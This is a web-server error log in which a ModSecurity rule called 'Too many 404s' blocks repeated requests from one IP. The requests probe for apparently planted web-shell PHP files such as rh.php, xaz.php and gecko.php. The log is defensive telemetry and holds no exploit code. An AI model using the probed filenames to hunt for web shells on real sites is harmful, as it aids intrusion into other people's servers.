[Wed Jan 07 00:15:44.617108 2026] [:error] [pid 35140:tid 35150] [client 20.196.88.169:26922] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fdd2.php"] [unique_id "aV01MHoQaIDFMbT-XMwIYwAAAQg"]
[Wed Jan 07 00:15:44.886921 2026] [:error] [pid 45012:tid 45033] [client 20.196.88.169:23110] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fdd2.php"] [unique_id "aV01MBaMAxCuju1d0uZBUQAAANM"]
[Wed Jan 07 00:15:45.165020 2026] [:error] [pid 44905:tid 44989] [client 20.196.88.169:27658] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fdd2.php"] [unique_id "aV01Mbu7ufwWVst9EAsgxQAAAJU"]
[Wed Jan 07 00:15:45.439751 2026] [:error] [pid 35140:tid 35147] [client 20.196.88.169:3624] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fdd2.php"] [unique_id "aV01MXoQaIDFMbT-XMwIZgAAAQU"]
[Wed Jan 07 00:15:45.710703 2026] [:error] [pid 45012:tid 45035] [client 20.196.88.169:27607] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aQw.php"] [unique_id "aV01MRaMAxCuju1d0uZBUgAAANU"]
[Wed Jan 07 00:15:45.981723 2026] [:error] [pid 44905:tid 44969] [client 20.196.88.169:27654] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aQw.php"] [unique_id "aV01Mbu7ufwWVst9EAsgxgAAAIE"]
[Wed Jan 07 00:15:46.260625 2026] [:error] [pid 44903:tid 44912] [client 20.196.88.169:21697] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aQw.php"] [unique_id "aV01MthHqjs38zbkQPBQ7AAAAAU"]
[Wed Jan 07 00:15:46.530346 2026] [:error] [pid 44905:tid 44991] [client 20.196.88.169:3606] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aQw.php"] [unique_id "aV01Mru7ufwWVst9EAsgyAAAAJc"]
[Wed Jan 07 00:15:46.801478 2026] [:error] [pid 44904:tid 44956] [client 20.196.88.169:35421] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rh.php"] [unique_id "aV01MjtieuI1BJEZcvdqVgAAAE8"]
[Wed Jan 07 00:15:47.071184 2026] [:error] [pid 45012:tid 45034] [client 20.196.88.169:26889] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rh.php"] [unique_id "aV01MxaMAxCuju1d0uZBVgAAANQ"]
[Wed Jan 07 00:15:47.341244 2026] [:error] [pid 44903:tid 44930] [client 20.196.88.169:21730] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rh.php"] [unique_id "aV01M9hHqjs38zbkQPBQ7gAAABY"]
[Wed Jan 07 00:15:47.631176 2026] [:error] [pid 45012:tid 45021] [client 20.196.88.169:35405] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rh.php"] [unique_id "aV01MxaMAxCuju1d0uZBWAAAAMc"]
[Wed Jan 07 00:15:47.904092 2026] [:error] [pid 44904:tid 44948] [client 20.196.88.169:21708] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sto.php"] [unique_id "aV01MztieuI1BJEZcvdqWAAAAEc"]
[Wed Jan 07 00:15:48.173798 2026] [:error] [pid 35140:tid 35160] [client 20.196.88.169:28545] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sto.php"] [unique_id "aV01NHoQaIDFMbT-XMwIaAAAARI"]
[Wed Jan 07 00:15:48.442155 2026] [:error] [pid 35140:tid 35157] [client 20.196.88.169:35443] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sto.php"] [unique_id "aV01NHoQaIDFMbT-XMwIaQAAAQ8"]
[Wed Jan 07 00:15:48.713507 2026] [:error] [pid 35140:tid 35149] [client 20.196.88.169:23112] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sto.php"] [unique_id "aV01NHoQaIDFMbT-XMwIagAAAQc"]
[Wed Jan 07 00:15:48.982799 2026] [:error] [pid 35140:tid 35152] [client 20.196.88.169:27685] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bipas.php"] [unique_id "aV01NHoQaIDFMbT-XMwIbAAAAQo"]
[Wed Jan 07 00:15:49.252128 2026] [:error] [pid 44904:tid 44949] [client 20.196.88.169:23106] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bipas.php"] [unique_id "aV01NTtieuI1BJEZcvdqWgAAAEg"]
[Wed Jan 07 00:15:49.521926 2026] [:error] [pid 45959:tid 45967] [client 20.196.88.169:18631] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bipas.php"] [unique_id "aV01NVajdn8P3hjgMYwx_QAAAUU"]
[Wed Jan 07 00:15:49.794771 2026] [:error] [pid 45012:tid 45016] [client 20.196.88.169:21735] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bipas.php"] [unique_id "aV01NRaMAxCuju1d0uZBWwAAAMI"]
[Wed Jan 07 00:15:50.066364 2026] [:error] [pid 45012:tid 45033] [client 20.196.88.169:3584] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xaz.php"] [unique_id "aV01NhaMAxCuju1d0uZBXQAAANM"]
[Wed Jan 07 00:15:50.339711 2026] [:error] [pid 45959:tid 45963] [client 20.196.88.169:27711] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xaz.php"] [unique_id "aV01Nlajdn8P3hjgMYwx_wAAAUE"]
[Wed Jan 07 00:15:50.607928 2026] [:error] [pid 44903:tid 44926] [client 20.196.88.169:21759] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xaz.php"] [unique_id "aV01NthHqjs38zbkQPBQ8QAAABM"]
[Wed Jan 07 00:15:50.878269 2026] [:error] [pid 45959:tid 45979] [client 20.196.88.169:28603] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xaz.php"] [unique_id "aV01Nlajdn8P3hjgMYwyAAAAAVE"]
[Wed Jan 07 00:15:51.147972 2026] [:error] [pid 35140:tid 35162] [client 20.196.88.169:26895] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/conte.php"] [unique_id "aV01N3oQaIDFMbT-XMwIbQAAARQ"]
[Wed Jan 07 00:15:51.422734 2026] [:error] [pid 35140:tid 35166] [client 20.196.88.169:35401] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/conte.php"] [unique_id "aV01N3oQaIDFMbT-XMwIbgAAARg"]
[Wed Jan 07 00:15:51.693206 2026] [:error] [pid 35140:tid 35161] [client 20.196.88.169:23148] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/conte.php"] [unique_id "aV01N3oQaIDFMbT-XMwIbwAAARM"]
[Wed Jan 07 00:15:51.962915 2026] [:error] [pid 44905:tid 44974] [client 20.196.88.169:3595] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/conte.php"] [unique_id "aV01N7u7ufwWVst9EAsgyQAAAIY"]
[Wed Jan 07 00:15:52.231640 2026] [:error] [pid 44905:tid 44987] [client 20.196.88.169:18669] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lopst.php"] [unique_id "aV01OLu7ufwWVst9EAsgygAAAJM"]
[Wed Jan 07 00:15:52.500497 2026] [:error] [pid 45012:tid 45025] [client 20.196.88.169:18662] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lopst.php"] [unique_id "aV01OBaMAxCuju1d0uZBYAAAAMs"]
[Wed Jan 07 00:15:52.768956 2026] [:error] [pid 45012:tid 45020] [client 20.196.88.169:3599] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lopst.php"] [unique_id "aV01OBaMAxCuju1d0uZBYQAAAMY"]
[Wed Jan 07 00:15:53.039477 2026] [:error] [pid 44905:tid 44970] [client 20.196.88.169:23131] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lopst.php"] [unique_id "aV01Obu7ufwWVst9EAsgzAAAAII"]
[Wed Jan 07 00:15:53.310032 2026] [:error] [pid 44905:tid 44979] [client 20.196.88.169:27707] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xv.php"] [unique_id "aV01Obu7ufwWVst9EAsgzQAAAIs"]
[Wed Jan 07 00:15:53.583080 2026] [:error] [pid 45012:tid 45034] [client 20.196.88.169:27678] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xv.php"] [unique_id "aV01ORaMAxCuju1d0uZBYgAAANQ"]
[Wed Jan 07 00:15:53.853878 2026] [:error] [pid 44904:tid 44962] [client 20.196.88.169:3601] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xv.php"] [unique_id "aV01OTtieuI1BJEZcvdqWwAAAFU"]
[Wed Jan 07 00:15:54.159700 2026] [:error] [pid 45959:tid 45973] [client 20.196.88.169:18634] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xv.php"] [unique_id "aV01Olajdn8P3hjgMYwyAwAAAUs"]
[Wed Jan 07 00:15:54.430160 2026] [:error] [pid 44905:tid 44992] [client 20.196.88.169:22242] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ixj.php"] [unique_id "aV01Oru7ufwWVst9EAsgzwAAAJg"]
[Wed Jan 07 00:15:54.705275 2026] [:error] [pid 44904:tid 44960] [client 20.196.88.169:3179] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ixj.php"] [unique_id "aV01OjtieuI1BJEZcvdqXAAAAFM"]
[Wed Jan 07 00:15:55.008172 2026] [:error] [pid 45012:tid 45031] [client 20.196.88.169:35449] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ixj.php"] [unique_id "aV01OxaMAxCuju1d0uZBZAAAANE"]
[Wed Jan 07 00:15:55.285781 2026] [:error] [pid 44904:tid 44955] [client 20.196.88.169:27653] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ixj.php"] [unique_id "aV01OztieuI1BJEZcvdqXQAAAE4"]
[Wed Jan 07 00:15:55.570344 2026] [:error] [pid 44905:tid 44984] [client 20.196.88.169:28562] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nansa.php"] [unique_id "aV01O7u7ufwWVst9EAsg1QAAAJA"]
[Wed Jan 07 00:15:55.839156 2026] [:error] [pid 44904:tid 44947] [client 20.196.88.169:3619] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nansa.php"] [unique_id "aV01OztieuI1BJEZcvdqXwAAAEY"]
[Wed Jan 07 00:15:56.112475 2026] [:error] [pid 45012:tid 45014] [client 20.196.88.169:28571] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nansa.php"] [unique_id "aV01PBaMAxCuju1d0uZBZwAAAMA"]
[Wed Jan 07 00:15:56.383337 2026] [:error] [pid 44903:tid 44920] [client 20.196.88.169:21709] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nansa.php"] [unique_id "aV01PNhHqjs38zbkQPBQ8wAAAA0"]
[Wed Jan 07 00:15:56.656521 2026] [:error] [pid 44905:tid 44982] [client 20.196.88.169:21740] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko.php"] [unique_id "aV01PLu7ufwWVst9EAsg1gAAAI4"]
[Wed Jan 07 00:15:56.942805 2026] [:error] [pid 35140:tid 35151] [client 20.196.88.169:21748] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko.php"] [unique_id "aV01PHoQaIDFMbT-XMwIcwAAAQk"]
[Wed Jan 07 00:15:57.211991 2026] [:error] [pid 44904:tid 44964] [client 20.196.88.169:18656] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko.php"] [unique_id "aV01PTtieuI1BJEZcvdqYQAAAFc"]
[Wed Jan 07 00:15:57.483989 2026] [:error] [pid 44904:tid 44944] [client 20.196.88.169:18655] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko.php"] [unique_id "aV01PTtieuI1BJEZcvdqYgAAAEM"]
[Wed Jan 07 00:15:57.754099 2026] [:error] [pid 45012:tid 45016] [client 20.196.88.169:18649] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blurbs.php"] [unique_id "aV01PRaMAxCuju1d0uZBaAAAAMI"]
[Wed Jan 07 00:15:58.024368 2026] [:error] [pid 45012:tid 45033] [client 20.196.88.169:27592] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blurbs.php"] [unique_id "aV01PhaMAxCuju1d0uZBaQAAANM"]
[Wed Jan 07 00:15:58.299620 2026] [:error] [pid 44903:tid 44919] [client 20.196.88.169:21707] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blurbs.php"] [unique_id "aV01PthHqjs38zbkQPBQ9AAAAAw"]
[Wed Jan 07 00:15:58.570468 2026] [:error] [pid 44903:tid 44928] [client 20.196.88.169:21745] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blurbs.php"] [unique_id "aV01PthHqjs38zbkQPBQ9gAAABU"]
[Wed Jan 07 00:15:58.840537 2026] [:error] [pid 44903:tid 44909] [client 20.196.88.169:35431] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/18299.php"] [unique_id "aV01PthHqjs38zbkQPBQ9wAAAAI"]
[Wed Jan 07 00:15:59.112212 2026] [:error] [pid 44905:tid 44976] [client 20.196.88.169:21717] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/18299.php"] [unique_id "aV01P7u7ufwWVst9EAsg2AAAAIg"]
[Wed Jan 07 00:15:59.384632 2026] [:error] [pid 44905:tid 44970] [client 20.196.88.169:27701] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/18299.php"] [unique_id "aV01P7u7ufwWVst9EAsg2QAAAII"]
[Wed Jan 07 00:15:59.657885 2026] [:error] [pid 44905:tid 44988] [client 20.196.88.169:26920] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/18299.php"] [unique_id "aV01P7u7ufwWVst9EAsg2gAAAJQ"]
[Wed Jan 07 00:15:59.926788 2026] [:error] [pid 44905:tid 44973] [client 20.196.88.169:35399] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wl.php"] [unique_id "aV01P7u7ufwWVst9EAsg3AAAAIU"]
